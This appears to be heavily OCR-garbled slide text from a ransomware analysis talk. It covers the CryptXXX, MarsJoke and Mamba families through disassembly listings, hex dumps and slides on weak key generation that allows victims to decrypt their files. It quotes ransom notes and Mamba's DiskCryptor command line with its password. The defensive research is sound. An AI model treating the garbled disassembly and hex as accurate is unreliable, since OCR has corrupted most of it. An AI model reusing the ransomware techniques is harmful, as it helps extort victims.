BOAS31B4|4C 59 78 58 4C 2B 58 43 7A 58 54 55 67 73 53 52| LYpXL+XCzXTUgsSR CEIEESEEY |- COLEABSN) (ATEEEP 50 Mot S [AEE0d
BOAS31CE|[4A 31 69 4E 6D 58 71 72 68 55 45 71 7A 33 68 4F | J1iNnXqrhUEqz3h0 9807C538 | BBO1EB7&) SE handler
BOAS31D% |69 39 33 42 77 35 33 55 32 38 67 76 6E 4A 54 48| i93BuS3U28qunJTH 8807C53C| 08007C598)
BOAS31EL[52 62 6F 41/ 33 32 78 7A 6C 69 36 38 38 4D 51 6D |RboA32xz1i688HQ. 8807C548| BOB7CS4C| Pointer to next SEH record
08AS31FL| B 65 4A 7A 37 6B 69 73 31 64 32 47 2B 6F 38 62 .elz7kis1d2G+o08b 9807C544| BBO1EB9S| SE handler
BOAS3204|7A 2B 56 48 4F 2F 37 71 73 58 2B 6A 6C 42 AC 6B|z+UHO/7qsX+j1BLK 0807C548| 0007C598)
08AS3214 |58 38 36 61 36 2B 4D 59 76 76 68 5A 57 2B S5A 30| P8ac+HYuuhZu+Za 9807C54C| 8807C558) Pointer to next SEH record
[Freceman S by 0807C558| GBB1EBAG|SE handler




OllyDbg - svchost.exe - [CPUY - main thread, module Cryptiix]

@File View Debug Plugins Options  \Window Help

Bl x| w0 w4 1~ + v[E[M[T|w| H[c|s|K[B[R[.]8] iZ[Z]?]
BBO1EA7F| 50 PUSH EAX ~listers (FPU) < < < < < < <
BBO1EASE| 6A 60 PUSH @ 00126030
BBO1EAS2| 8BUS F8 MOU EAX,DWORD PTR SS:[EBP-8] BBASCTIC
OBO1EASS| E8 B657FEFF CALL CryptXXX.OB064190 SR
BBB1EABA| 58 PUSH EAX 7C8PABCY Kernel32.WideCharToHultiByte
BBO1EASE| BBUS F8 MOU EAX,DWORD PTR SS:[EBP-8] 8887C51C
BBO1EASE| E8 FS58FEFF CALL CryptXx.eB08438s 0007C598
BBO1EA93| 50 PUSH ERX 000080060
EB D734FFFF CALL CryptXXX.B8BO11F78 JHP to crypt32.CryptsStringToBinaryn goaeaaa
BBO1EA99| 8D45 DC LEA EAX,DWORD PTR SS:[EBP-24]
opoienoc| co PUSH Eas 8BO1EABS CryptiXx.oBe1EABS
BBE1EAYD| 6A 8O PUSH @ ES 00823 32bit O(FFFFFFFF)
BBO1EAYF| 6A 80 PUSH @ CS 061B 32bit O(FFFFFFFF)
BBO1EAA1| 8BS FO MOU EAX,DWORD PTR SS:[EBP-18] SS 8823 32bit B(FFFFFFFF)
BBO1EAAL| E8 1F1FFFFF CALL CryptXXX.0BO109CS DS 8023 32bit B(FFFFFFFF)
BBO1EAAY| 50 PUSH ERX FS 9638 32bit 7FFDFBBO(FFF)
BBO1EAAA| BBA4S FO MOV EAX,DWORD PTR SS:[EBP-18] 6S 8688 HULL
BBO1EAAD| BB4E 64 HOY EAX,DWORD PTR DS:[EAK+4] =
BBO1EABG| 50 PUSH EnX LastErr ERROR_SUCCESS (000800008)
BBO1EAB1| 8BUS EC MOU EAX,DWORD PTR SS:[EBP-14] -
opoieaes| co PUSH Ea% 800080267 (MO ,B,NE,BE,NS,PE,GE,G)
E8 BE35FFFF CALL CryptX%x.@BO11FCS JHP to ADVAPI3Z.CryptImportKey enpty 8.009823584438746167 Be-4933
BEG1EABA| 85CO TEST ERX,ERX empty +UNORM 003A 008920DA OB6ABB6A
OBO1EABC |, OF8Y4 9DOOBOBO |JE CryptXXX.OBO1EBSF empty 0.000004195838897115 fe-4033
BBO1EACZ| 33CH XOR EAX,EAX empty -UNORH 8418 B1D1DSF5 14717410
BBE1EACL| 55 PUSH EBP empty -UNORH A158 B1D1DSF3 B47AFEGC
BBE1EACS| 68 S8EBO10B PUSH CryptkXx.@BO1EBSS enpty +UNORM 6000 00008888 BOG4G000
BBO1EACA| 64:FF30 PUSH DUORD PTR FS:z[EAX] empty 1.8000000880000000000
BBO1EACD| 64:8920 MOU DWORD PTR FS:[EAX],ESP enpty 0.0
BBO1EADG| C745 E4 0408006(HOU DWORD PTR SS:[EBP-1C].4 3218 ESPUDZD I
BBO1EAD7| 6A 89 PUSH @ @928 Cond 8 8 6 B Err 8810888680 (1)
BBO1EADY| BDA4S EX LER EAX,DWORD PTR SS:[EBP-1C] 027F Prec NEAR,53 Mask 111111
BBO1EADC| 50 PUSH ERX
OBO1EADD| 6A 6O PUSH 0
BBO1EADF| 6A 89 PUSH 8
BBO1EAE1| 6A FF PUSH -1
BBO1EAE3| 6A 80 PUSH 8
BBO1EAES| 8B4S DC HOY EAX,DWORD PTR SS:[EBP-24] v
DBO11FC8-CryptXyX.OBOT1FCS
Address |Hex dump ASCII ~ IR 06126050
DORSC7BO| 86 82 88 86 88 A4 BO BA 52 53 41 31 80 64 00 08 EN...=. _RSA1.H.. LTS EEEAETEL
00A5C7CO| 01 80 61 08 5F 15 33 94 6D 98 8F EA EF 4F A6 9% |N.N. N3EnEEETO!N 9007C524)  0A0A062Y
BOASCTDE|72 4D 25 GG F9 8E 56 F6 91 1C 29 EE BC 1C 96 2A| rH%I0NUG “N) T4%ENx ELCEEERES)|  ELTEL
BORSCZES| 7% B6 29 SC BF 97 BB 35 D3 52 OB 12| 44 9D 62 36| t9)\;NESORNEDEDS EXLEEsed8 | - GG
DOASC7FO|65 EA AE 15 6% AB 3D E1 3A 2F 77 OF OE 77 53 6F | e@BNE«=4:/ulluSo CELEERL)|  CECEESEL)|
BOASCE00| 268 BE 72 53 1D 16 E8 63 7D B1 CE 58 BA F3 C3 18| %rSEN2E}=TxoddlN GLCFARSE)| - ELCPAES ) (AUHNEER D (e S8 FEE0rt
BOASCS16(78 9C FB 92 2B 35 77 61 BE A3 C6 F3 F9 51 CE FF|xMii"+Suak%e@suqTi pBhC o as EOE EBSSERhanulen
BOA5C820|BA AC SF ES ES 84 BY OF F3 A6 BA F8 C6 2F BE 16| °-_ 2507 NG!°ad/%l |\ LR
BOASC830(56 F9 9D O7 72 C6 5B 32 39 FA FF 20 A0 6E 11 7C|ULENr€[29Gi nM| CLEHEAT)| - CEEHESTE (ANESP B0 OERE Sl FEE0rt
BOASCELG|86 1A 6F B9 B8 46 82 OB F4 EF A5 60 DO 168 00 00| ENo'.FENGIY¥.DE.. BN asan PRI SEghandTen
sonican 8807C548| 0887C598
sonccsen 8007C54C| 9BO7C558|Pointer to next SEH record
oonerara 0007C550| OBO1EBAG|SE handler
| poncoann || soe7cs5s| oearcoos
Breakpaint at Crypt<=34{ DBO1EABS |
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OllyDbg - svchost.exe - [CPU - main thread, module Cryptiix]

@File View Debug Plugins Options  \Window  Help

Bl x| wu| wijs 21 o] +f LjE[M[T|W/H|C|/|K|B|R[..|5] 2]
OBO1EB16| 50 PUSH EAX ~listers (FPU) < < < < £ < £
OBO1EB17| 8D45 ES8 LEA EAX,DWORD PTR SS:[EBP-18] 00123488
BEE1EB1A| 58 PUSH EAX ge@goeonz
GBO1EB1B| 8BAS F4 HOU EAX,DWORD PTR SS:[EBP-C] 00ASC7SA ASCII “Gogi$u ucDK2ZFKORrp8ACN?9ilYNPUS2TSTZ~t" ;104" S]%iTERD
OBB1EB1E| 8BGA MOU EAX,DWORD PTR DS:[EAX] 7C8BABCY kernel32 _WideCharToMultiByte
OBO1EB20| E8 6358FEFF CALL CryptXXX.0BOoB438s #8075 6C
BEB1EB25| 58 PUSH EAX gaa7cso8
BEE1EB26| 6n 6@ PUSH @8 gegoeooan
BBEA1EB28| 6A FF PUSH -1 AEAeABA1
OBO1EB2A| 6A 0@ PUSH ©
BEB1EB2C| 8BA4S DC HOU EAX,DWORD PTR SS:[EBP-24] BBB1EB30 Cryptixy.BBO1EB3O
GBO1EB2F| 58 PUSH EAX ES 8823 32bit B(FFFFFFFF)
E8 9B34FFFF CALL [:ryptxxx.l]Bl]ﬁFDB JHP to ﬂDUHPI32.EI‘yptEI‘IC[‘ypt CS @881B 32bit B{FFFFFFFF)
BEB1EB35| 85CA TEST EAX,EAX $S 0823 32bit B(FFFFFFFF)
BEB1EB37|.. 75 B8 JHZ SHORT CryptiXX.BBB1EB41 DS @823 32bit B{FFFFFFFF)
BEB1EB39| BBA4S F4 HOU EAX,DWORD PTR SS:[EBP-C] FS @838 32bit ZFFDFBBB(FFF)
OBO1EB3C| E8 7BS3FEFF CALL CryptXXX.0BOB3EBC GS 0888 NULL
OBO1EB41| 33CO %0R EAX,EAX =
BBB1EB43| 5A POP EDX LastErr ERROR_SUCCESS (0800008000)
OBO1EBY4Y| 59 POP ECX
SBB1EBLS | to POP ECX 08000286 (NO,NB,NE,A,NS,PE,GE,G)
BEB1EB4G | 64:8918 HOU DWORD PTR FS:[EAX],EDX empty 0.0809823584438746167 Be—4933
BEB1EBL4L9| 68 SFEBA18B PUSH CryptXXX.8BB1EBSF empty +UMORH B883A B800920DA BAGAOAGA
OBA1EBAE| 8BAS DC HOU EAX,DWORD PTR SS:[EBP-24] empty 0.0000041958388071150e-4933
BBO1EBS1| 58 PUSH ERAX enpty -UNORM 8418 @1D1DSF5 14717410
BEB1EBS2| EB 6934FFFF CALL CryptXXX.8BB11FCA JHP to ADUAPIZ2.CryptDestroyKey enmpty -UNORH A158 81D1DSF3 BA7AFEGC
BBB1EB57| €3 RETH empty +UNORH 60008 0008A008 00046008
@BA1EBSE |"E9? FFACFEFF JHP CryptXXX. 0B A0385C empty 1.0000ARAEARAAARAAAAD
8BB1EBSD [ “EB EF JHP SHORT CryptXXy.0BE1EB4E enpty 0.0
OBB1EBSF| 33C0 X0R EAX,EAX 32108 ESPUODZDI
BBO1EB6T| SR POP EDX 0020 Cond 8 8 0 0 Err 0 01 00000 (GT)
BBB1EB62| 59 POP ECX 827F Prec HEAR,53 Hask 111111
BBO1EB63| 59 POP ECX
OBO1EBGL| 64:8918 HOU DWORD PTR FS:[EAX],.EDX
OBO1EB67| 68 7FEBO16B PUSH CryptXXX.eBe1EB7F
OBO1EBGC| 6A 0@ PUSH ©
OBO1EBGE| 8BAS EC HOU EAX,DWORD PTR SS:[EBP-14]
OBO1EB71| 50 PUSH EAX v
8BB11FDB-CryptXix.0B011FDO
fiddress |Hex dump ASCII B o007 c5 oc IETIPENED
DOASCESO| 47 6F 71 4D 24 76 SE 75 63 44 4B 32 5A 46 4B AF | GogH$u ucDK2ZFKO pogit oyt anaonons
BOASCE60( 4@ 72 70 38 41 43 6E 3F 39 69 49 59 4E 58 75 38 @rpSACN?9ilYHPuS EECEAESU)| - [PAAAAAA P
DOASCE70|32 54 35 54 5A 7E 7h 22 3B 49 51 24 22 53 5D 25| 2T5TZ™t";105"S]% 99970518 | HoaOE600
DOASCE80|69 54 42 52 30 4C 48 29 51 3F 7E 3C 78 4F 54 4F|iTBROLH)Q?~<p0TO 9887C51C|  BBASCSSH
DOASCE00(17 68 0O 00 6O OO 00 08 04 0O BO 60 2E 54 58 Su|N.._.... B.._.TXT GLCFAES)|  ELLHESTT
GBASCEAD 8907C524| 000DDOSE
BOASCRED 00087C528| 0007C534 | Pointer to next SEH record
BOASEEE D 8007C52C| @BO1EBSS|SE handler
BOASCED B 0007C538| 08007C598|
ABASCEE D 88070534 | B007C540| Pointer to next SEH record
GBASCSF x 8907C538| OBOI1EB78|SE handler
BOASCO00|2E 54 58 54 E8 01 00 00 13 00 00 00 00 00 00 00| .TXTRN..N....... UIPEEETE)  GLCEETED)
0OASC910| 83 00 80 88 54 58 54 00 18 €9 A5 08 18 C9 AS 00| N...TKT.NE¥.NE¥. UHIFESTY)  GECIARSIE) [ATTESP 5D MEEsE S FaErt
| paocroon! il mAy AN am v| 0p87c544| OBB1EBYS|SE handler
Breakpoint at Croptd-2< 0B 0TEB30 |
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CryptXXX — Key Generation

Y
FIZE
BBB1SFEY 51 push eCH
BBB1SFER B9 45 FC mou [ebp+var_L4], eax
BBE1SFEB 33 C@ ®x0r eax, eax
BBO15FED 55 push ebp
BBB15FEE 68 83 61 81 6B push BBB16183h
BBO1S5FF3 64 FF 38 push dword ptr fs:i[eax]
BBB15FF6 64 89 28 mov fs:-[eax], esp
BBB1SFF9 EB 2E C7 FE FF call call GetSystemTime
BBB1SFFE BD 45 EC 1lea eax, [ebptuar_14]
BEB16801 E8 B6 DE FE FF call sub_BOB3EBC
BBE168086 33 CA ®x0r eax, eax
BBEA160888 B89 45 F8 mou [ebp+var 8], eax
'z
e =
BB 016088
BB A16 08B loc_BO1688B:
8BB16888 EE 6C FD FE FF call GetTickCount
BE@16810 BE 63 68 69 @9 mouv eax, 3
BE@16815 EE B2 CC FE FF call sub_BA@2CCC
BBB16081A B9 45 FYy mov [ebp+var_C], eax
BEB1681D BE Z2C 08 68 69 mouv eax, 2Ch
OBB16822 EE A5 CC FE FF call sub_BA82CCC
BEA160827 89 45 F@ mowv [ebp+var_ 18], eax
gBE1682A B3 7D FO 88 cnp [ebp+var_18], 8
OBB1682E 75 67 jnz short loc_B816837

SOPHOS
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BBBO272C

8BOO272C

BBABZ72C ; Attributes: bp-based frame
gBoO272C

gBoO272C call_GetSystemTime proc near
BBBO272C

8BOO272C SystemTime= _SYSTEMTIME ptr -18h
8B0OO272C

BB@B272C 55 push ebp

8B@0Z272D 8B EC mov ebp, esp

BBOO272F B3 C4 EB add esp, BFFFFFFEBh

BBDO2732 BD 45 EB lea eax, [ebp+SystemTime]
8B@BZ735 58 push eax ; lpSystemTime
gB0O2736 E8 51 E? FF FF call GetSystemTime

0B@BZ73E OF B7Y 45 FA@ MOUZX eax, [ebp+SystemTime.wHour ]
8B0O273F 6B CA 3C imul eax, 3Ch

BBBO27L42 66 B3 45 F2 add ax, [ebp+3ystemTime.wHinute]
8BOO2746 6B CA 3C imul eax, 3Ch

ABAAZ2749 31 D2 xor edx, edx

gB@eZ74E 66 BB 55 F4 mov dx, [ebp+SystemTime.wSecond]
gBoo274F 81 DA add eax, edx

BBBO2751 69 CO EE 63 60 0O imul eax, 3E8h

08002757 66 8B 55 FG mou dx, [ebp+SystemTime._wHilliseconds]
ABAAZ2¥SE 61 DA add eax, edx

gB06275D A3 B8 190 682 OB mowv ds:dword_B821888, eax
8B@BZ2762 8B EG mov esp, ebp

gBoO2764 5D pop ebp

BBOO2765 C3 retn

BBABZ 765 call GetSystemTime endp

gBoO2765

65



CryptXXX — Key Generation

* Key is generated using the current system time
(hour, minute, second, millisecond)

* Return value of GetTickCount is not used

* Number of possible keys:
24*60*60*1000 = 86400000

* |t is possible to brute force the keys
* From the accessed time of the files the key space can be reduced even more
* Decryption: using the magic number of the files

* Weak key generation algorithm — small key space
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CryptXXX — Version3

* RC4 and RSA are also used for file encryption:
the first 64 bytes are encrypted with RSA, the following 8191 bytes with
RC4, then RSA again, then RC4 and so on.

* RC4 encryption is still vulnerable to brute force attack

* RSA encryption ensures that the files cannot be fully decrypted
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MarsJoke

* AES-256 and Curve25519

* Curve25519 is a state-of-the-art elliptic-curve Diffie-Hellman function

Alice’s secret key a Public string 9 Bob's secret kev b

Fuhlu func tlDl]
Curve25519

Alice’s puhh{ key Boh's public key
Curve25519(a, 9) Curve25519(b, 9)

{ Alice, Bob}'s shared secret {Bob, Alice}’s shared secret
Curve25519(a, Curve25519(b, 9)) © Curve25519(b, Curve25519(a, 9))

D. J. Bernstein. Curve25519: new Diffie-Hellman speed records. URL: https://cr.yp.to/ecdh/curve25519-20060209.pdf.
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Curve25519(SecretA, PublicB) = Curve25519(SecretB, PublicA)

Base: a constant, 9 followed by all zeros

MarsJoke

* Curve25519
o Rand1 =32 random bytes o Rand3= 32 random bytes
o Secretl = sha256(Rand1) o Secret3 = sha256(Rand3)
o Publicl = Curve25519(Secretl, Base) o Public3 =Curve25519 (Secret3, Base)

o Rand2= 32 random bytes o AES2 = sha256(Curve25519(Secret3, Publicl))
o Secret2 = sha256(Rand2) o Files are compressed with zlib and then
o Public2 = Curve25519 (Secret2, Base) encrypted using AES2

o AES1 = sha256(Curve25519 (Secret2, Public_Master))
o Info = Secretl and Machine GUID encrypted using AES1
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MarsJoke

* The following information is saved in the encrypted files:
o The string HUI
o Public3
o Publicl
o Public2
o Info
o encrypted compressed file

* Decryption:
o AES]1 = sha256(Curve25519 (Private_Master, Public2))

o Info decrypted using AES1 -> Secretl is known
o AES2 = sha256(Curve25519(Secretl, Public3))
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MarsJoke e

004 0899D
004B899D
004 0899D
88488990 randbytes proc near
. 004 0899D
[ ] -
* Problem: random generation s wra_o- wora pre 8
80488990 56 push esi
8e4e2AGD 58 pUSh eax BO4B8Y9E 33 Fob xzor E'Si, esi
DO4O8AGE E8 2A FF FF FF call randbytes J
BA4ARAZI 59 pop ecx L 2
DO4O8A7Y 8D 4D CB lea ecx, [ebp-38h] [l ed =
80488A77 E8 9% F4 FF FF call hash_makestring faaLesoan
DO4OBATC 8D 4D AB lea ecx, [ebp-58h] A0L 08900 loc 4689A8:
ggzgg:;g g; EE;: oox 8646898 E8 98 48 83 68 call  rand
004B8A81 89 85 44 FF FF FF mou [ebp-BBCh], eax ggtggggg 33 EE 06 00 80 ;22 Eﬁ:;tsfggﬂggggﬂ1
DO4O8A87 E8 EY FE FF FF call curve25519 =
88488A8BC 59 pop ecx L L
DO4O8ASD 89 85 50 FF FF FF nou [ebp-BEBh], eax Y
8040893 59 pop ecx M
oL agA9L BD 45 BE lea eax, [ebp-7&h] AALBROAC 4B dec eax
88488A7 58 push eax 004089AD 83 CB EO or eax, OFFFFFFEBh
o4 08A98 EE 00 FF FF FF call randbytes AALAROEA 4@ inc eax
a8488A9D 59 pop ecx
DO4OBAYE 8D 4D 88 lea ecx, [ebp-78h] J ¥
g8488AR1 E8 6B F4 FF FF call hash_makestring EI@@
0O4O8AAG 89 85 54 FF FF FF nou [ebp-BACh], eax
004B8AAC 8D 45 A8 lea eax, [ebp-58h] 80488981
gonesanF o push eax 084088281 loc_4B89B1:
004B8AEA FF BS5 54 FF FF FF push dword ptr [ebp-BACh] 60488981 8B 4C 24 B8 nov ecx, [esp+arg_8]
00408AB6 E8 BA FE FF FF call curve25519 90408985 88 G4 GE nov [esi+ecx], al
g04B8ABE 59 pop ecx 08403988 46 inc esi
go408ABC 59 pop eCX 08408989 83 FE 26 cmp esi, 26h
BA4ARABD FF BS 48 FF FF FF push dword ptr [ebp-8CBh] AB4B89BC 7C E2 i1 short loc_4889A0
DO4OBAC3 89 85 4C FF FF FF nou [ebp-BB4h], eax 1
OO4BBACY FF BS 54 FF FF FF push dword ptr [ebp-BACh] ¥
DO4O8ACF E8 A1 FE FF FF call curve25519
a8488aDYy 59 pop ecx Elﬂ@ .
0B4ERADS 50 pop eCx B04889BE SE pop esi
80488ADG 8B C8 moy ecx, eax BO4BEOBF €3 retn
00408ADS 89 8D 48 FF FF FF mou [ebp-0B8h], ecx 9040898F randbytes endp
80408ADE E8 2E F4 FF FF call  hash_makestring B84 B89BF
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* Problem: random generation
| time64: returns the time as seconds elapsed
ol s = - C.
oouortes since midnight, January 1, 1970
aa4a7168
conor1g 53 e e e _srand: sets the starting seed value for the
084087169 56 push esi
Conarton TF 15 06 62 45 00 bell  usicetprocessiieap pseudorandom number generator
o4 67171 A3 DC 99 48 60 mau hHeap, eax
00487178 5B 4 01 09 00 nou b o _rand: returns a pseudorandom integer in the
ona7185 57 E‘Ein cai’ et E"“??ﬂiiiiﬂ:ﬂi range 0 to RAND MAX (32767)
ae4a7187 6A 06 push a -GEtMDUUIEFiIEﬁa:'InE:ldule
OUAOT1SF DE DO 90 43 00 mov s, offset word 439000
50407195 59 pusn o nbuffertength .
I S S Using the same seed the same pseudorandom
ggzgggi g?] Bzgh 22: ; unsigned int Va I UeS a re generated .
a6a4871A> ES YE 58 83 60 call _srand
gg:g;::g gg Bzgh EE: E 1pszDir
00407181 9B C7 hov  oax, et e
ggzg;}gg Eg 9F BF 860 88 ;3;1 33:_#3815?
gg::g;:g: gg DB @5 08 88 gggl EE:_#B??QH
0040711 75 13 jnz  ehert Loc_u67106
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* Decryption:

o Choose a possible value for the seed

o Calculate Rand3’= 32 random bytes

o Calculate Secret3’ = sha256(Rand3’)

o Calculate Public3’ = Curve25519 (Secret3’, Base)

o Check if Public3” = Public3
- If yes, AES2 key can be retrieved: AES2 = sha256(Curve25519(Secret3, Publicl))
- If no, choose another seed

* Weak random number generation
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Mamba

* Instead of encrypting the files it encrypts the entire hard drive

Mamba ransomware strikes at
your whole disk, not just your

files

ou are Hacked '!**?* H.D.D Encrypted , Contact Us For Decryption Key (w8B99016650@
gandex.com) YOURID: 123151 =sxmnxnxx

password incorrect

ou are Hacked '?'*? H.D.D Encrypted , Contact Us For Decryption Key (wBB99016650@
pandex.com) YOURID: 123151
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Mamba

* Mamba runs with an argument, which is the password

%\

DefragmentService Properties (Local Computer)
Microsoft Windows [Uersion 6.1.76881 .
Copyright <c2> 2009 Microsoft Corporation. All rights reserved. General | —— | Hecmrer_.rl Dependenc:ies|

C:slzerssuser»151 .exe cryptonite

Service name: Defragment Service

Dizplay name: Defragment Service

Description:

* |[nstalls itself as a Windows service with the Pahiosdatle
name DefragmentationService and with Saoope:  [Adonsi -
Loca|SyStem perlleges Help me corfigure service startup options.

Service status: Started

* Creates a new user: mythbuster S

You can specily the start parameters that apply when you start the service
from here.

| ok || cance |
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* Uses DiskCryptor, a Full Disk Encryption (FDE) tool

File Edit View Action Help
=25 32DCAPLDLL ODOBGERS 43 19 00 00 70 19 00 00 7E 19 00 00 26 1D 00 00 2 Cesspess~sssgees =
 B-E3 105 O00BGEEBE 2F 1D 00 00 82 1E 00 00 00 00 00 00 00 00 00 00  fes=s,ssssssasans
. 2057 ODOBEECE 00 00 00 00 69 A6 34 14 46 DA 69 72 75 00 00 00  ++eeildeFiruses
(] 32DCCON.EXE O00OBGEDE 0D 11 01 00 00 00 00 10 00 00 59 &F 75 20 61 72  =sssssssss¥ou ar
|”_‘|32DCINST.EKE O00BEEEE 65 20 48 61 63 6B 65 64 20 21 21 21 21 20 48 2E e Hacked !!!! H,
: . O00OBGEFE 44 2E 44 20 45 6E 63 72 79 70 74 65 &4 20 2C 20 D.D Encrypted ,
g 32DCRYPT EXE O00BEFO8 43 6F 6E 74 &1 63 74 20 55 73 20 46 &F 72 20 44 Contact Us For D erosoft WUindows [Uersion 6.1, 76001
; 3ZDCRYPT.SYS = - 5 mg 50 28 7 i T 08 ; e 2= -1. . .
OO0BEE1E 65 63 72 75 70 74 63 6F 6E 20 45 65 79 20 28 77 ecryption Hey (w opyright <{c> 288% Microsoft Corporation. All rights reserved.
[0 32NETPASS EXE ODOBGF28 38 38 39 39 30 31 36 36 35 40 79 61 6E 64 65 78 B89901665@vandex
[C3 64DCAPI.DLL O00B6F38 2E 63 6F 6D 29 20 52 4F 55 52 49 44 34 20 31 32 .com) YOURID: 12 = D022 3 dip
.1 64DCCON.EXE 000BEF48 33 31 35 31 00 00 00 OO0 OO0 OO0 00 00 OO0 00 00 00 AR EE R Uolume in drive C has no lahbel.
(3] 64DCINST.EXE O00BEFSE 00 00 00 00 00 00 00 00 00 00 70 &1 73 73 77 §F  ==ss=sssssspasswo Uolume Serial Mumber is F4AS-5?AE
0O00BEFEE 72 64 20 €3 6E 63 6F 72 72 65 63 74 OR 00 00 00 rd incorrecte=--
G4DCRYPT.EXE . . -
gEmCR‘rPTS‘r’S OD0BGFTE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  *+sssssssssssaes Directory of C:NDC22
: O00BEFEE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  sssessscsssasses . .
(1 G4NETPASS EXE O00B6F98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +ssssssssssasans A2-12-2016 B3:16 <DIR> -
= N A2-12-2016 B@B:16 <DIR> --
O00BEFAE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ssssssscsssasses A2 12,2016 BF:15 211,968 dcapi.dll
O00BGFEE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +ssssssssssasans A2 122016 B8:15 59.688 dccon.exe
0O0OBEFCSE 00 00 OO0 00 OO OO0 00 OO0 00 OO OO0 00 OO0 OO0 00 OO0 trrerssrrrsaaaan A2 122816 B8:-15 ?.728 dcinst.exe
ODOB6FDSE 00 00 00 00 OO0 00 00 OO0 00 OO0 00 00 00 00 00 00  +sssssssssssssss A2-12.2016 @8:-15 178.984 dcryupt.exe
14 - - o o
000BEFES 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seesssssssscsacs %"1%"5312 ggﬁ Eia’ggé ‘{“ Hftfi“y“
DO0OBEFFE 00 00 00 00 00 00 OO0 00 00 OO0 00 00 00 00 00 00  +sssesessscsscce Azr1zs : og_file.txt
D00B7008 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ssessssssssssses A2-12-2016  88:15 223,232 Mount.exe
s A2 12-2016 @B:15 338.752 netpass.exe
0O00BT7018 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +ssssssssssasaes A2 12 2816 ©8:16 @ netpass.txt
000BT7028 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ssssssscsssasses A2 122016 B%:16 348 netusze.txt
000B7038 00 00 OO0 00 OO0 00 00 00 OO0 OO0 00 00 00 00 00 00 tesssaaaraaasans 18 File<s2 1.225,.768 bytes
000B7048 00 00 OO0 00 OO OO0 OO OO0 00 OO OO0 OO0 OO OO0 00 OO0 trressessseaaaan 2 Diwds> 29.862.777.856 bhytesz free
O00BT7058 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  +ssssssssssasaes
O00BTO68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ssesssscssscssss
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LT DiskCryptor1.1.846.118 (=] = |[=]

File Volumes Tools Help Homepage
Size Label | Type Status
=l YBCw HARDDISE
= Volumel 100ME System Reserved  NTFS mounted boot Decrvot
= C 39.9 GB NTFS  encrypt 45% sys | =P

= YR CD-ROM

* Mamba restarts the computer and @ o obes wount A

]

‘Main  Authentication | Invalid password | Other Settings | Save Changes
o Cancel
Password request j Authentication type
Event | Process | Stack ¥ Password prompt message
) . You are Hadked 111 H.D.D Encrypted ,

Date: 02/12/2016 09:43:04. 3657158 Contact Us For Decryption Key (w889901665@yandex.com) YOURID: 123151
Thread: 1776
Class: Process

| Display entered password as ™" j Show entered password
Operation: Process Create | e J Authenfication 6 £

Di uthentication timeou

Result: SUCCESS e hd
Path: C:\DC22'dccon. exe
Duration: 0.0000000
PID: 2412 ®
Command line: "C\DC22docon. exe”™ encrypt ptl -p aryptonite

Symbalic Link WWolume{266a688c-7292-1121-9759-806e6f6e696 3}

Device \Device\HarddiskVolume 1

Cipher AES

Encryption mode XTS5

Pkcss, 2 prf HMAC-SHA-512

Info
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Mamba

* The computer doesn’t reboot automatically
* The log file is accessible

* |t contains the password *log fle - Ntepad

File Edit Format View Help
installing driver...

* DiskCryptor can be used for decryption installing driver successfully..
getting share drive information...
Trying to create service...
creating service successfully. rebooting windows. ..
Checking resources existence. They are OK...
driver installed before...
starting servicemain...
serviceMain: Eﬂtr¥ . . .

ServiceMain: Performing Service Start Operations
serviceMain: waiting for worker Thread to complete
ServiceWorkerThread: Entry
starting Mount app...

Checking resources existence. They are OK...
driver installed before...
mount:start. ..

As55: i
cryptonite
mount .mounting share drive...
mount :share drive not found ...
mount:exit Mount...
start hard drive encryption...
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Mamba

* In case of reboot it’s impossible to decrypt without the password

ou are Hacked ttt?! H.D.D Encrypted , Contact Us For Decryption Key (w889901665@
andex.com) YOURID: 1Z23151sssemsmemnnn

password incorrect

ou are Hacked ttt?! H.D.D Encrypted , Contact Us For Decryption Key (w889901665@
andex.com) YOURID: 123151 _
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Mamba

® |\d # v
ew version e =
0BEBARABBBAB22D A
foopopoBOO4B22D O loc_4B22DA:
File Edit View Acticn HE|p feReAARABLB22DA 3R B4 19 mou al, [ecx+ehx]
E-£3 32DCAPIDLL ODOBECAE 72 19 00 00 41 19 00 OO0 4F 19 00 00 55 1D 00 00  reseheseQeesless = ggggggggggiggggg gg %2 ng :ﬁ5r§1203_4322E6
253 105 00DBECEE S5E 1D 00 00 82 1E 00 00 00 00 00 00 00 00 00 Q0  “eee, =eccecccces
Y2057 DDOBECCE 00 00 00 00 3A A6 &3 14 75 DR SA 43 48 00 00 00  sese:iceul:CEeee ¥
4] 32DCCON EXE 0DOBECDE 0D 11 01 00 00 00 00 10 00 00 2R 40 4§ 20 352 43  eseessscss*@F 2C "=
5. 32DCINST EXE DOOBECEE 36 20 77 32 34 3C 36 35 50 20 77 SD 73 SD 73 20 & w24<&5P wls]s
ODOBBCFE 74 3F 34 43 4A 41 45 36 35 5B 20 72 40 3F 45 32  t?4CJAE65[ r@7E2 00000008004022D7 3C 7E cmp al, 7Eh
-] 32DCRYPT.EXE DDOBEDOE 34 45 20 26 44 20 75 40 43 20 73 36 34 43 42 41  4E &D ulC s64CTA 88880000084822D9 7F BB g short loc_u822E6
(] 32DCRYPT.SYS DOOBED1E 45 SA 40 3F 20 TA 36 4A 57 34 43 4L 41 45 40 SE  E:@? z&JWACJRER> [
-] 32METPASS.EXE ODOBBD2E &1 66 &F 4R 32 3F 35 36 49 5D 34 40 3E 58 20 2R afod2?58I)4@3X * \ J
-0 64DCAPLDLL DDOEED3E 7E 26 23 78 73 69 20 60 &1 62 60 &7 SF 20 20 5B  ~&#xsi ‘ab'g_ [ il el [
&3 64DCCON.EXE DOOBED4E 20 74 3F 45 36 43 20 7A 36 44 20 €9 00 00 00 0O LPEEC z&J d==e= DOODAODABOLE22DE 64 2F add al, 2Fh
-] 64DCINST.EXE 0DOBEDSE 00 00 00 00 00 00 00 OO0 00 00 41 S2 44 44 48 40  eseesssessAIDDHE 0BOEBBORAEBBAB22DD 3C FE cmp al, 7Eh
